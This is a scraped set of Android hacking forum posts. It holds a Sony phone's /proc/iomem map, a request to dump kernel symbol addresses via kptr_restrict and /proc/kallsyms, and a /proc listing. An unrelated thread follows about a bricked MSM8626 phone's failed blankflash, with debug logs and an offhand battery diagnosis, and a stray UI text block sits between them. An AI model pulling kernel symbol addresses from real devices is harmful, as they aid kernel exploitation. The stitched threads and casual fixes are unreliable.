fc4a8000-fc4a9fff : tsens_physical
fc4bc000-fc4bcfff : tsens_eeprom_physical
fc820000-fc82001f : rmb_base
fc880000-fc8800ff : qdsp6_base
fd485300-fd48530b : halt_base
fda00020-fda0002f : csi_clk_mux
fda00030-fda00033 : csiphy_clk_mux
fda00038-fda0003b : csiphy_clk_mux
fda00040-fda00043 : csiphy_clk_mux
fda04000-fda040ff : fda04000.qcom,cpp
fda08000-fda080ff : fda08000.qcom,csid
fda08400-fda084ff : fda08400.qcom,csid
fda08800-fda088ff : fda08800.qcom,csid
fda08c00-fda08cff : fda08c00.qcom,csid
fda0a000-fda0a4ff : fda0a000.qcom,ispif
fda0ac00-fda0adff : fda0ac00.qcom,csiphy
fda0b000-fda0b1ff : fda0b000.qcom,csiphy
fda0b400-fda0b5ff : fda0b400.qcom,csiphy
fda0c000-fda0cfff : fda0c000.qcom,cci
fdb00000-fdb0ffff : kgsl-3d0
fdb20000-fdb2ffff : kgsl-3d0
fdc80000-fdc803ff : vbif_base
fdce0000-fdce3fff : wrapper_base
fe200000-fe2000ff : qdsp6_base
fec00000-fed7ffff : fdd00000.qcom,ocmem
2. "cat /proc/atags" (if exist)
Doesn't exist
3. "cat /proc"
cat: /proc: Is a directory
4. "echo 1 > /proc/sys/kernel/kptr_restrict" than give me output of the command "cat /proc/kallsyms"
Download (required root)
5. Kernel source code: http://developer.sonymobile.com/dow...s/open-source-archive-for-build-14-2-a-1-114/
Looking forward to your development :good:
My wrong If possible please give me:
ls /proc
And another thing which I forgot is - what is displayed in android settings menu related to the kernel version? What is full kernel version name? Thank you!
ls /proc
Code:
1
100
10022
101
10141
102
10258
103
104
105
10583
106
107
108
109
110
111
11144
11161
112
11255
11276
113
11300
114
12070
121
12189
122
12224
12237
123
124
125
1253
12603
12621
127
12747
12778
12789
128
12815
12874
12890
129
12913
12927
13
130
131
132
1321
1329
133
13360
134
135
13502
13523
1355
13564
136
1362
13625
137
1370
138
1383
13832
139
14
1400
141
14108
142
143
14317
1433
144
14407
145
146
14711
14718
14724
148
149
1502
1536
15576
1589
1643
1675
169
170
17190
1734
174
18
18147
18622
18623
18624
18625
18626
18627
18628
18629
18630
18631
18632
18633
18634
18635
18636
18637
18638
18639
18640
18641
18642
18643
18644
18645
187
18762
18764
19
191
1917
192
194
195
19648
197
198
2
20
200
20078
201
20224
20412
20447
20448
20460
20487
20563
20667
20670
20671
20672
20686
20701
208
21
217
22
222
223
23
24
24046
241
244
2495
26584
2831
2846
29903
3
323
324
331
332
333
335
336
337
339
340
343
344
347
348
349
351
352
353
354
355
357
359
366
369
370
371
373
376
381
382
39
3911
40
41
410
4189
419
42
421
425
43
432
434
44
449
45
46
464
468
4684
47
48
49
50
51
511
516
517
518
519
52
520
522
523
524
5253
5254
5255
5256
526
527
5278
5280
53
54
544
55
554
56
57
58
5813
5829
59
60
607
61
62
63
65
66
67
68
69
7
70
71
73
74
75
76
764
765
769
77
8
863
8682
95
96
97
9790
98
99
9985
asound
buddyinfo
bus
cgroups
cmdline
consoles
cpu
cpuinfo
crypto
devices
diskstats
driver
execdomains
fb
filesystems
fs
interrupts
iomem
ioports
irq
kallsyms
key-users
kmsg
kpagecount
kpageflags
loadavg
locks
meminfo
misc
modules
mounts
msm_pm_stats
net
pagetypeinfo
partitions
rdtag
rdtags
sched_debug
schedstat
scsi
self
softirqs
stat
swaps
sys
sysrq-trigger
sysvipc
timer_list
timer_stats
tty
uid_stat
uptime
version
vmallocinfo
vmstat
zoneinfo
I have this kernel: http://forum.xda-developers.com/showthread.php?t=2620794
{
"lightbox_close": "Close",
"lightbox_next": "Next",
"lightbox_previous": "Previous",
"lightbox_error": "The requested content cannot be loaded. Please try again later.",
"lightbox_start_slideshow": "Start slideshow",
"lightbox_stop_slideshow": "Stop slideshow",
"lightbox_full_screen": "Full screen",
"lightbox_thumbnails": "Thumbnails",
"lightbox_download": "Download",
"lightbox_share": "Share",
"lightbox_zoom": "Zoom",
"lightbox_new_window": "New window",
"lightbox_toggle_sidebar": "Toggle sidebar"
}
Deleted
My phone locked up. Was running CM11 April Snapshot release. Now it shows up as USB device "qhsusb_bulk" I've followed the instructions from the thread http://forum.xda-developers.com/showthread.php?t=2623587 but I get the following error.
Code:
flashing singleimage
Target LOG: Open multi failed, unknown error
Target ERROR: 7 - Open multi failed, unknown error
Failed to open multi image, status = 7
FAILED (sdl-transfer-image:send-image:sdl-open-multi:error opening multi image)
How can I get past this problem or what does the error mean?
Check USB cable..
Enviado desde mi Moto G mediante Tapatalk
Cable OK. Output from new cable follows.
Code:
greeting device for command mode
OKAY [ 0.582s]
identifying device
...serial = 0x25452DA
...chip-id = 0x801 (MSM8626)
...chip-rev = 0x0
...sv-sbl = 0x0
OKAY [ 0.010s]
finding files
...programmer = programmer_8626.mbn
...singleimage = singleimage_8626.bin
OKAY [ 0.013s]
validating files
OKAY [ 0.001s]
switching to download mode
OKAY [ 0.002s]
greeting device for image downloading
OKAY [ 0.003s]
sending programmer
OKAY [ 0.013s]
flashing singleimage
Target LOG: Open multi failed, unknown error
Target ERROR: 7 - Open multi failed, unknown error
Failed to open multi image, status = 7
FAILED (sdl-transfer-image:send-image:sdl-open-multi:error opening multi image)
Press any key to continue . . .
Cable OK. Below isDebug Output after flash singleimage_8626 is complete.
Code:
D - 00000230 00 00 00 20 00 01 00 00 7e |... ....~ |
D - Setting security mode
D - Dumping 6 bytes written
D - 00000000 7e 17 00 00 00 7e |~....~ |
D - Dumping 5 bytes read
D - 00000000 7e 18 00 00 7e |~...~ |
D - Opening device for flashing
D - Dumping 6 bytes written
D - 00000000 7e 1b 21 00 00 7e |~.!..~ |
D - Dumping 38 bytes read
D - 00000000 7e 0e 4f 70 65 6e 20 6d 75 6c 74 69 20 66 61 69 |~.Open multi fai|
D - 00000010 6c 65 64 2c 20 75 6e 6b 6e 6f 77 6e 20 65 72 72 |led, unknown err|
D - 00000020 6f 72 0a 00 00 7e |or...~ |
I - Target LOG: Open multi failed, unknown error
D - Dumping 41 bytes read
D - 00000000 7e 0d 07 00 00 00 4f 70 65 6e 20 6d 75 6c 74 69 |~.....Open multi|
D - 00000010 20 66 61 69 6c 65 64 2c 20 75 6e 6b 6e 6f 77 6e | failed, unknown|
D - 00000020 20 65 72 72 6f 72 00 00 7e | error..~ |
I - Target ERROR: 7 - Open multi failed, unknown error
E - Failed to open multi image, status = 7
D - \\.\COM23 closed
FAILED (sdl-transfer-image:send-image:sdl-open-multi:error opening multi image)
Have you solved this? I have the same msg...
USB dev qhsusb_bulk
capitanbiglio said:
Have you solved this? I have the same msg...
Click to expand...
Click to collapse
USB dev qhsusb_bulk E QUANDO SUA BATERIA TEVE UM MAL SUBITO ESTA OPERANDO EM PERAGEM BAIXA DEMAIS. QUANDO VC FAZ ROOT NO APARELHO E ELE FICA SUPER AQUECIDO A BATERIA FICA COM PERAGEM DESREGULADA, SUGESTÃO E VOCE FAZER REPOSIÇÃO DA BATERIA COLOCAR UMA COM CARGA E REINSTALAR A ROM OFICIAL USANDO COMANDO ADB. ABRAÇO.